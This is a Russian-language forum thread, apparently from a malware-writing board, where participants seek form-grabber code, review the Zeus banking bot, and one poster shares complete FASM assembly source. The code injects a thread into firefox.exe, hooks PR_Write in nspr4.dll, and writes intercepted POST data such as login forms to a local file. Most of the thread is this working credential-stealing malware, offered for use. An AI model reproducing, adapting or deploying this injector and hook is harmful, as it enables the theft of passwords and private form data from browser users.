подскажите реализацию.. на C#\C++
..... исходники или статейки подойдут...
нормального ничего найти не могу
..... исходники или статейки подойдут...
нормального ничего найти не могу
вот именно...ну вот вдруг человек возьмет да и напишет))
В целом сам код производит хорошее впечатление, везде GetLastError и прочие проверки. Перед удалением файлов, например, выставляются аттрибуты "архивный", что предотвращает от ошибок удаления реад-онли файлов.
Итого, хороший функционал, хороший код, хорошо прячется, маленький размер и хорошо жмется. Но, мало функций как бота, лишь загрузка и исполнение ехе, да никому не нужное уничтожение ос. Из "приватных" технологий возможно лишь обход ограничений лимитированной записи, а остальное можно найти в учебниках по программированию и мсдн. Инжекты в процессы наверняка будут жестоко палится проактивкой, что сводит на нет все функции.
Вот логически правильно, обзор сделан 2 года назад но зевс и на данный момент не изменилсяДык обзор написан 03-08-2007. Два года ему уже какбэ. Но думаю сновные принципы не изменились.
а никто и не говорит что FF через COM надо грабить,там движок другой следовательно и подсоединятся к окнам по др надо, но принцип то тотже самый установил хук на окно дождался загрузки, подправил, сграбил, отправилelsuk
Да вот принцип как раз иной, чем через COM интерфейсы ишака![]()
format PE GUI 4.0
entry start
include 'D:\INCLUDE\win32a.inc'
include 'D:\INCLUDE\ddk\myincs.inc'
include 'D:\INCLUDE\MACRO\IF.inc'
TH32CS_SNAPPROCESS = 2
section '.code' code readable writeable executable
target_name db 'firefox.exe',0
;...............[INJECT CODE]..................;
remote_thread:
call delta
delta:
pop ebp;
sub ebp,delta
jmp First
KernelBase dd ?
GPAcall dd ?
GMHcall dd ?
HUser32 dd ?
VirtProt dd ?
OldProt db ?
HMod dd ?
hFile dd ?
flbytes dd ?
CreateFileCall dd ?
SetFilePointerCall dd ?
WriteFileCall dd ?
CloseHandleCall dd ?
FuncAdr dd ?
eaxrest dd ?
esprest dd ?
ecxrest dd ?
edxrest dd ?
ebxrest dd ?
edirest dd ?
esirest dd ?
ebprest dd ?
dataadr dd ?
datalen dd ?
First:
;Kernel Base ->
xor eax,eax
mov eax,[fs:eax+30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h]
mov [KernelBase+ebp],eax
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;Addres of GetProcAddress in [GPA]
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add ebx,[KernelBase+ebp]
mov edx,1
_find:
push ebx
mov ecx,14
mov eax,[ebx]
add eax,[KernelBase+ebp]
mov esi,eax
lea edi,[GPA+ebp]
cld
repe cmpsb
jz _ok
pop ebx
add ebx,4
inc edx
jmp _find
_ok:
xor eax,eax
mov eax,[KernelBase+ebp]
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;---
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add ebx,[KernelBase+ebp]
shl edx,1
add ebx,edx
mov edx,[ebx]
movzx ebx,dx
;------------
sub ebx,1
shl ebx,2
mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add eax,[KernelBase+ebp]
add eax,ebx
mov ecx,[eax]
add ecx,[KernelBase+ebp]
mov [GPAcall+ebp],ecx
pop ecx
;----------------End Get Address of GetProcAddress--------
lea ecx,[GMH+ebp]
lea edx,[KernelBase+ebp]
mov edx,[edx]
push ecx
push edx
call [GPAcall+ebp]
mov [GMHcall+ebp],eax
;-------------End Get Address of GetModuleHanle--------
mov ecx,USER32
call GetModHandle
mov [HUser32+ebp],eax
;----------------- Handle of User32.dll ----------------
mov ecx,VirtualProt
mov eax,KernelBase
call GetAddr
mov [VirtProt+ebp],eax
;----------------- VirtualProtect -----------------
mov ecx,CreateFileStr
mov eax,KernelBase
call GetAddr
mov [CreateFileCall+ebp],eax
;---------------- CreatFileA ---------------------
mov ecx,SetFilePointerStr
mov eax,KernelBase
call GetAddr
mov [SetFilePointerCall+ebp],eax
;----------------- SetFilePointer ------------------
mov ecx,WriteFileStr
mov eax,KernelBase
call GetAddr
mov [WriteFileCall+ebp],eax
;------------------ WriteFile -------------------
mov ecx,CloseHandleStr
mov eax,KernelBase
call GetAddr
mov [CloseHandleCall+ebp],eax
;---------------------- CloseHandle ----------------------
push NPR
push PR_WriteStr
push nspr4
call HookAPI
ret
NPR:
;>>>>>>>>>>>>>>>>Comand from orig func<<<<<<<<<<<<<<<<<<
mov eax, dword[ss:esp+4]
mov ecx, dword [ds:eax]
;>>>>>>>>>>>>>>>>Comand from orig func<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
call deltax
deltax:
pop edx;
sub edx,deltax
;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
mov [ebxrest+edx],ebx
mov [edirest+edx],edi
mov [esirest+edx],esi
mov [ecxrest+edx],ecx
mov [ebprest+edx],ebp
mov [eaxrest+edx],eax
;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
mov ebp,edx
mov eax,[esp+0x08];addr of post
.if dword [eax]<>'POST'
jmp NoWork
.endif
mov [dataadr+ebp],eax
mov eax,[esp+0x0C]
mov [datalen+ebp],eax
push [dataadr+ebp]
push [datalen+ebp]
call WriteToFile
NoWork:
mov edx,ebp
;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
mov ebx,[ebxrest+edx]
mov edi,[edirest+edx]
mov esi,[esirest+edx]
mov ecx,[ecxrest+edx]
mov ebp,[ebprest+edx]
mov eax,[eaxrest+edx]
;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
mov edx,[FuncAdr+edx]
add edx,$06
jmp edx
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
ret
GetModHandle:;ecx-module name
lea ecx,[ecx+ebp]
push ecx
call [GMHcall+ebp]
ret
GetAddr:;ecx-Func Name, eax-Handle of module
lea ecx,[ecx+ebp]
push ecx
lea eax,[eax+ebp]
mov eax,[eax]
push eax
call [GPAcall+ebp]
ret
HookAPI:
pop edi;ret addr
pop ecx;name module
call GetModHandle
mov [HMod+ebp],eax
mov eax,HMod
pop ecx;name func
call GetAddr
mov [FuncAdr+ebp],eax
lea esi,[OldProt+ebp]
invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi
pop edx; addr my func
lea edx,[edx+ebp]
sub edx,[FuncAdr+ebp]
sub edx,5
xchg eax,edx; jmp value eax
mov edx,[FuncAdr+ebp]
mov byte [edx],$E9
mov dword [edx+1],eax
mov byte [edx+5],$41 ;INC ECX
invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi
jmp edi
WriteToFile:
pop edi
lea edx,[Namef+ebp]
invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
mov [hFile+ebp],eax
invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END
lea edx,[flbytes+ebp]
pop ebx;size buff
pop ecx; addr buff
invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h
lea ecx,[EndLine+ebp]
lea edx,[flbytes+ebp]
invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h
lea edx,[hFile+ebp]
invoke CloseHandleCall+ebp,[edx]
jmp edi
EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
thread_end:
;...............[END INJECT CODE]..............;
p_ent PROCESSENTRY32
find_target:
xor esi,esi
.shot:
mov [p_ent.dwSize],sizeof.PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi
inc eax
je .not_found
dec eax
xchg eax,edi
invoke Process32First,edi,p_ent
.next_prc:
xchg eax,ecx
jecxz .not_found
invoke lstrcmpi,p_ent.szExeFile,target_name
xchg eax,ecx
jecxz .found
invoke Process32Next,edi,p_ent
jmp .next_prc
.found:
invoke CloseHandle,edi
mov eax,[p_ent.th32ProcessID]
ret
.not_found:
xor eax,eax
ret
inject_code:
xor esi,esi
invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax
xchg eax,ecx
jecxz .exit
xchg ecx,edi
invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE
xchg eax,ecx
jecxz .close_h
xchg ecx,ebp
invoke WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi
dec eax
test eax,eax
jnz .close_h
inc eax
invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi
.close_h:
invoke CloseHandle,edi
.exit:
ret
start:
call find_target
test eax,eax
je .exit
call inject_code
.exit:
push 0
call [ExitProcess]
section '.idata' data import readable
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'
include 'D:\INCLUDE\API\kernel32.inc'
include 'D:\INCLUDE\API\user32.inc'
если честно я так и не понял чо на ней так все зациклились, это почти аналог send, можно спокойно перехватывать WS2_32!send или mswsock!send результат тот же... может в ней есть смысл для https хотя сомневаюсьВот здесь юзается перехват функи PR_Write из библиотеки nspr4.dll, которая входит в состав фф.